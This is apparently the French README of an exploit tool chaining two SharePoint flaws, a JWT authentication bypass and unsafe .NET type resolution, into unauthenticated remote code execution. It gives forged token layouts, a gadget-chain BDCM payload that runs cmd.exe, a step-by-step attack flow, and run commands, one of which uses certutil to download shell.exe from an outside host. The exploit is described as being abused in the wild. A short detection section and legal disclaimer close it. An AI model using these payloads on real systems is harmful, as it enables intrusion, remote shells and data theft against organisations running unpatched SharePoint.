CVE-2026-63520 RCE par type non sécurisé SharePoint + chaîne CVE-2026-55040

RCE non authentifié sur Microsoft SharePoint Server. Aucun identifiant requis.

Stephen Fewer (Rapid7) a démontré CVE-2026-55040 lors du Pwn2Own Berlin 2026. Rapid7 a ensuite découvert CVE-2026-63520 lors de recherches de suivi, et VulnCheck a indépendamment trouvé une chaîne de gadgets alternative. Ensemble, ces deux bogues vous donnent une exécution de code à distance non authentifiée contre tout SharePoint non corrigé sur Internet.

La CISA a émis des alertes dans les heures suivant la publication du PoC. Il est exploité dans la nature.

Ce que ça fait

Deux bogues, une chaîne :

Aucun des deux bogues n'est intéressant seul. CVE-2026-63520 nécessite une authentification. CVE-2026-55040 vous donne l'authentification. Ensemble : RCE non authentifié en tant que compte de service SharePoint.

Bogue 1 : Le contournement JWT (CVE-2026-55040)

SharePoint utilise des JWT imbriqués pour l'authentification serveur-à-serveur (S2S). Un jeton externe porte l'identité de l'utilisateur, un « jeton acteur » interne représente l'application appelante. Quatre faiblesses dans SPJsonWebSecurityTokenHandlerV2.ValidateToken() font tout s'effondrer :

Faiblesse 1 — La vérification de signature est désactivée. Le validateur définit RequireSignedTokens = false. Le jeton externe accepte alg: none. Aucune signature requise.

Faiblesse 2 — Résolution x5t sans vérification. La clé de signature du jeton acteur est résolue en recherchant l'en-tête x5t (empreinte du certificat) dans le magasin de certificats. SharePoint ne vérifie jamais si la signature du jeton acteur correspond réellement à cette clé.

Faiblesse 3 — La validation de l'émetteur accepte les certificats inconnus. ValidateIssuer() réussit si le certificat de signature n'est pas dans la collection TrustedSecurityTokenServices. Le propre certificat STS de SharePoint n'y est pas enregistré. Donc, y faire référence via x5t passe la validation de l'émetteur inconditionnellement.

Faiblesse 4 — Vérification de signature non cryptographique. GetTokenSignature() exige une chaîne non vide mais ne fait aucune validation cryptographique. N'importe quelle valeur fonctionne. AAAA fonctionne.

Le certificat STS est public. Vous le récupérez depuis /_layouts/15/metadata/json/1 — un point de terminaison non authentifié — calculez l'empreinte SHA-1, et vous avez tout ce qu'il vous faut.

À quoi ressemble le jeton forgé

Jeton externe (porte l'identité de l'utilisateur) :

// En-tête
{"alg": "none", "typ": "JWT"}

// Charge utile
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "<SID ou UPN cible>",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "<JWT interne>"
}
// Signature : vide (alg:none)

Jeton acteur interne (représente l'« application ») :

// En-tête
{"alg": "RS256", "typ": "JWT", "x5t": "<empreinte du certificat STS>"}

// Charge utile
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nbf": 1756000000,
  "exp": 1756003600
}
// Signature : "AAAA" (littéralement n'importe quoi de non vide)

Trois façons de choisir une identité :

Bogue 2 : Le RCE (CVE-2026-63520)

Le service Business Data Connectivity de SharePoint permet aux administrateurs de définir des sources de données externes via des fichiers XML de modèle BDC (.bdcm). Ces modèles spécifient des types .NET que BDC instancie à l'exécution.

Le problème se trouve dans DbTypeReflector.ResolveDotNetType() :

// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
    return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true);  // n'importe quel type dans le GAC

Les noms de types de moins de 15 caractères passent par un résolveur sûr. Tout ce qui est plus long appelle directement Type.GetType() — qui résout n'importe quel nom de type qualifié par assembly depuis le Global Assembly Cache. Pas de liste blanche. Pas de liste noire. L'attaquant contrôle abstractTypeName via le XML BDCM.

La chaîne de gadgets

Nous utilisons System.Windows.Data.ObjectDataProvider de PresentationFramework. Lorsque vous définissez sa propriété ObjectInstance, il invoque MethodName sur cette instance. Définissez MethodName = "Start" et ObjectInstance = System.Diagnostics.Process avec un StartInfo élaboré, et la réflexion du setter de propriété de BDC fait le reste :

ObjectDataProvider créé
  → MethodName = "Start"
  → ObjectInstance = Process
    → StartInfo.FileName = "cmd.exe"
    → StartInfo.Arguments = "/c <payload>"
    → StartInfo.UseShellExecute = false
    → StartInfo.CreateNoWindow = true
  → le setter de propriété déclenche QueryWorker()
    → BeginQuery() → InvokeMethodOnInstance()
      → Type.InvokeMember("Start") → Process.Start()

Le XML BDCM qui transporte ceci :

<TypeDescriptor Name="ReturnRoot"
  TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
  <TypeDescriptors>
    <TypeDescriptor Name="MethodName" TypeName="System.String">
      <DefaultValues>
        <DefaultValue ...>Start</DefaultValue>
      </DefaultValues>
    </TypeDescriptor>
    <TypeDescriptor Name="ObjectInstance"
      TypeName="System.Diagnostics.Process, System, ...">
      <TypeDescriptor Name="StartInfo"
        TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
        <TypeDescriptor Name="FileName" TypeName="System.String">
          <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="Arguments" TypeName="System.String">
          <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
        </TypeDescriptor>
      </TypeDescriptor>
    </TypeDescriptor>
  </TypeDescriptors>
</TypeDescriptor>

VulnCheck a documenté une chaîne alternative utilisant System.Web.UI.LosFormatter avec désérialisation TypeConfuseDelegate via un LobSystem DotNetAssembly. Plusieurs gadgets fonctionnent — la primitive sous-jacente est une instanciation de type sans restriction.

Flux d'attaque complet

    Attaquant                         Serveur SharePoint
       │                                    │
       │── GET /_layouts/15/metadata/json/1 ──▶│
       │◀── Certificat STS (x5t + realm) ─────│  (non authentifié)
       │                                    │
       │── Session SMB nulle vers le DC ──────────▶ Contrôleur de domaine
       │◀── SID de domaine ────────────────────│
       │                                    │
       │── Forge JWT (alg:none + sig AAAA) ─│
       │── POST /_api/contextinfo ──────────▶│
       │◀── FormDigestValue ────────────────│  CVE-2026-55040 : authentifié en admin
       │                                    │
       │── POST /_api/web/lists ────────────▶│  créer le catalogue BDC
       │── POST .../Files/add(evil.bdcm) ──▶│  téléverser la chaîne de gadgets
       │── POST /_vti_bin/client.svc/ ──────▶│  déclencher ProcessQuery
       │        ProcessQuery                │
       │                                    │  CVE-2026-63520 : Process.Start()
       │                                    │  → cmd.exe /c <payload>
       │                                    │  → s'exécute en tant que compte de service SP

Six étapes :

1. Récupérez le certificat STS. Frappez /_layouts/15/metadata/json/1. Aucune authentification requise. Extrayez le certificat X.509 de keys[0].keyValue.value, hachez-le en SHA-1, encodez en base64url. C'est votre x5t. Le champ issuer vous donne le realm.

2. Trouvez un administrateur de site. Session SMB nulle vers le contrôleur de domaine, LsarQueryInformationPolicy LSARPC pour obtenir le SID de domaine, puis itérez les RID (500, 1000-10000) en forgeant un JWT pour chacun jusqu'à ce que /_api/web/currentuser renvoie IsSiteAdmin: true. Ou fournissez simplement un UPN connu.

3. Forgez le JWT. Externe : alg:none, nameid = SID admin, actortoken = JWT interne. Interne : alg:RS256, x5t = empreinte STS, signature = AAAA. Encodez en base64url, concaténez avec des points. Terminé.

Versions affectées

La mise à jour cumulative d'août 2026 ajoute ValidateSafeBcsType() pour restreindre les types .NET que BDC peut instancier. Le correctif JWT ajoute une vérification de signature appropriée et enregistre le certificat STS dans la collection des services de jetons de confiance.

Le support standard de SharePoint 2016 a pris fin en 2026. Les organisations sans support étendu peuvent ne pas recevoir le correctif.

Exécution

Installez les dépendances :

pip install requests
pip install impacket  # nécessaire uniquement pour la découverte automatique de SID via --domain-ip

Tout découvrir automatiquement (nécessite un accès au DC pour le SID)

python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"

Le script va :

• Récupérer x5t et realm depuis les métadonnées STS
• Obtenir le SID de domaine via session SMB nulle
• Itérer les RID jusqu'à trouver un administrateur de site
• Forger un JWT, obtenir un digest, téléverser le BDCM, déclencher le RCE

Avec un UPN connu (pas de SMB requis)

python3 poc.py \
  --target sharepoint.corp.local \
  --upn [email protected] \
  --cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."

Avec un SID connu

python3 poc.py \
  --target 10.0.0.50 \
  --sid S-1-5-21-4203888158-2793536450-3921675298-500 \
  --cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"

Découverte automatique de l'UPN depuis le certificat TLS

python3 poc.py \
  --target 10.0.0.50 \
  --auto-upn \
  --username administrator \
  --cmd "calc.exe"

Vérification du contournement d'authentification uniquement (pas de RCE)

python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "dummy" \
  --check-only

Vous voulez voir Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. Cela confirme que le contournement JWT fonctionne et que vous avez un accès de niveau administrateur.

Port non standard

python3 poc.py \
  --target 10.0.0.50 \
  --port 8443 \
  --upn [email protected] \
  --cmd "whoami"

Détection

Éléments à surveiller :

• JWT avec alg: none frappant les points de terminaison SharePoint. Les jetons S2S légitimes utilisent toujours RS256.
• Requêtes vers /_layouts/15/metadata/json/1 suivies d'appels API authentifiés depuis la même adresse IP source. Le point de terminaison de métadonnées est public, mais une reconnaissance suivie d'un accès de niveau administrateur est suspecte.
• Nouveaux fichiers .bdcm apparaissant dans BusinessDataMetadataCatalog. La plupart des déploiements SharePoint n'utilisent pas BDC du tout. Tout téléversement BDCM mérite une enquête.
• Requêtes ProcessQuery référençant des entités BDC inconnues, en particulier avec ObjectDataProvider ou LosFormatter dans les noms de types d'entités.
• Création de processus depuis w3wp.exe (pool d'applications SharePoint). cmd.exe, powershell.exe, certutil.exe comme processus enfants du processus de travail sont des indicateurs classiques.

Références

• VulnCheck — Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520 RCE Chain
• Rapid7 — Technical Analysis of CVE-2026-63520
• Rapid7 — Technical Analysis of CVE-2026-55040
• Rapid7 — CVE-2026-55040 Disclosure
• Rapid7 — CVE-2026-63520 Disclosure
• sfewer-r7/CVE-2026-55040 (PoC)
• Previdian — CVE-2026-55040
• Avis Microsoft — CVE-2026-55040
• Avis Microsoft — CVE-2026-63520

Légal

Pour les tests de sécurité autorisés uniquement. Obtenez une autorisation écrite avant d'exécuter ceci contre quoi que ce soit que vous ne possédez pas.